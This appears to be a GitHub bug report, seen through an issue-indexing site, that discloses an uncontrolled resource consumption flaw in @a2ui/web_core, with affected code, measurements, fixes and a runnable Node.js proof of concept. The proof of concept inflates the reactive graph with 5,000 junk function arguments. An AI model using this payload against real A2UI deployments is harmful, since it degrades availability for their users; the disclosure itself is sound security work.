a2ui-project / a2ui-project/a2ui
[BUG]: Unbounded `FunctionCall.args` explode the reactive graph before schema stripping
- Langage dominant
- TypeScript
- Étoiles
- 16.4k
- Forks
- 1.3k
- Merge moyen
- 2 j 13 h
- PR mergées (30 j)
- 134
Description
# Unbounded `FunctionCall.args` explode the reactive graph before schema stripping
Repository: https://github.com/a2ui-project/a2ui
Affected: `@a2ui/web_core` (verified against published npm release 0.10.6)
CWE: CWE-400 (Uncontrolled Resource Consumption)
## Summary
The `FunctionCall` schema types function arguments as `z.record(z.any())` with no count bound, and the data-context resolver iterates the **raw** argument object — before the target function's own Zod schema strips unknown keys — creating one signal, one computed, and one effect per argument. An agent binds a validation condition to `{call: "regex", args: {value:…, pattern:…, j0:…, …, j4999:…}}`; `regex` ignores the junk keys, but the resolver has already built 5,000 reactive nodes for that single condition. Repeated across components this inflates the effect graph (memory and per-change CPU) far beyond what the component count suggests.
## Affected code
- `renderers/web_core/src/v0_9/schema/common-types.ts` — `args: z.record(z.any())` (npm dist `v0_9/schema/common-types.js:25`), no argument-count bound
- `renderers/web_core/src/v0_9/rendering/data-context.ts` — `resolveSignal` iterates `Object.entries(call.args)` raw, i.e. pre-strip, creating a signal + computed + effect per entry (npm dist `v0_9/rendering/data-context.js:146-207`)
## Observed behavior (measured)
Driven through the published package's full pipeline (`MessageProcessor.processMessages` → `ComponentContext` → `GenericBinder` → catalog invoker), one TextField `checks` condition with 5,000 arguments:
| args in binding | bind time | heap growth |
|---|---|---|
| 2 (control) | — | −0.1 MB |
| 5,000 | 117 ms | +5.5 MB |
## Impact
A remote agent can send one spec-valid `updateComponents` message whose single condition carries thousands of arguments; each such binding permanently installs thousands of reactive nodes, scaling memory and every subsequent notification cost by args × components. Availability only.
## Suggested remediation
- Bound the argument count in `FunctionCallSchema` (e.g. reject records with more than N keys).
- Schema-parse (and thereby strip) the arguments **before** `resolveSignal` iterates them, so only keys the target function declares produce reactive nodes.
## PoC
Prerequisites: Node ≥ 20 with `@a2ui/web_core@0.10.6` installed in `node_modules` (e.g. `npm i @a2ui/web_core@0.10.6`), script in the same directory. Run `node poc_f20.mjs`; on success it prints a JSON verdict ending in `"confirmed": true` and exits 0.
```js
// poc_f20.mjs — F-20: reactive-graph explosion via unbounded function-call args.
// resolveSignal iterates Object.entries(call.args) and creates a signal +
// computed + effect per arg BEFORE the catalog invoker Zod-parses (strips) args.
// A malicious server binds a checks condition to
// {call:'regex', args:{ value:{path}, pattern:'x', j0:{path}, ... j4999:{path} }}.
// regex's schema ignores the junk, but resolveSignal builds 5000 arg-signals +
// effects for that one condition. Confirmed if heap grows >3 MB and binding
// took >50 ms (vs a 2-arg control).
import {
MessageProcessor, ComponentContext, GenericBinder, Catalog,
} from '@a2ui/web_core/v0_9';
import { TextFieldApi, ColumnApi, createBasicCatalogFunctions } from '@a2ui/web_core/v0_9/basic_catalog';
const CATALOG_ID = 'https://a2ui.org/specification/v0_9_1/catalogs/basic/catalog.json';
async function measure(nArgs) {
const catalog = new Catalog(CATALOG_ID, [ColumnApi, TextFieldApi], createBasicCatalogFunctions());
const processor = new MessageProcessor([catalog]);
// build condition args
const args = { value: { path: '/n' }, pattern: 'x' };
for (let i = 0; i < nArgs; i++) args[`j${i}`] = { path: '/n' };
processor.processMessages([
{ version: 'v0.9', createSurface: { surfaceId: 'poc', catalogId: CATALOG_ID } },
{ version: 'v0.9', updateDataModel: { surfaceId: 'poc', path: '/n', value: 0 } },
{
version: 'v0.9', updateComponents: { surfaceId: 'poc', components: [
{ id: 'root', component: 'Column', children: ['tf'] },
{ id: 'tf', component: 'TextField', label: 'N', value: { path: '/n' },
checks: [{ condition: { call: 'regex', args }, message: 'bad' }] },
] },
},
]);
const surface = processor.model.getSurface('poc');
const before = process.memoryUsage().heapUsed;
const t0 = Date.now();
const ctx = new ComponentContext(surface, 'tf');
const binder = new GenericBinder(ctx, TextFieldApi.schema);
const sub = binder.subscribe(() => {});
await new Promise(r => setTimeout(r, 100));
const ms = Date.now() - t0;
const after = process.memoryUsage().heapUsed;
sub.unsubscribe(); binder.dispose(); surface.dispose();
return { ms, grewMB: +((after - before) / 1048576).toFixed(1) };
}
const ctrl = await measure(0);
const big = await measure(5000);
const ok = big.grewMB > 3 && big.ms > 50 && big.grewMB > ctrl.grewMB + 3;
console.log(JSON.stringify({
finding: 'F-20-functioncall-args-reactive-explosion',
control_2args: ctrl,
with_5000_args: big,
confirmed: ok,
}, null, 2));
process.exit(ok ? 0 : 1);
```
Guide de contribution
Ouvrir le guide de contribution
Piste de recherche
The issue is in `renderers/web_core/src/v0_9/schema/common-types.ts` where `args` is defined as `z.record(z.any())` and `renderers/web_core/src/v0_9/rendering/data-context.ts` where `resolveSignal` iterates `Object.entries(call.args)`. Start by examining these files to understand the schema and the reactive node creation. The fix involves bounding the argument count in the schema and ensuring arguments are stripped before iteration. Run the provided PoC script to verify the memory growth and test any changes.
Rédigé par le modèle d'indexation à partir du texte de l'issue.
Évaluation
- Stack technique
- node.js, typescript
- Domaine
- backend-api-design, performance, security
- Type d'issue
- Bug
- Difficulté
- 4/5
- Temps estimé
- 3-5 jours
- Activité
- Active
- Clarté
- Clairement spécifiée
- Accessibilité débutants
- 45/100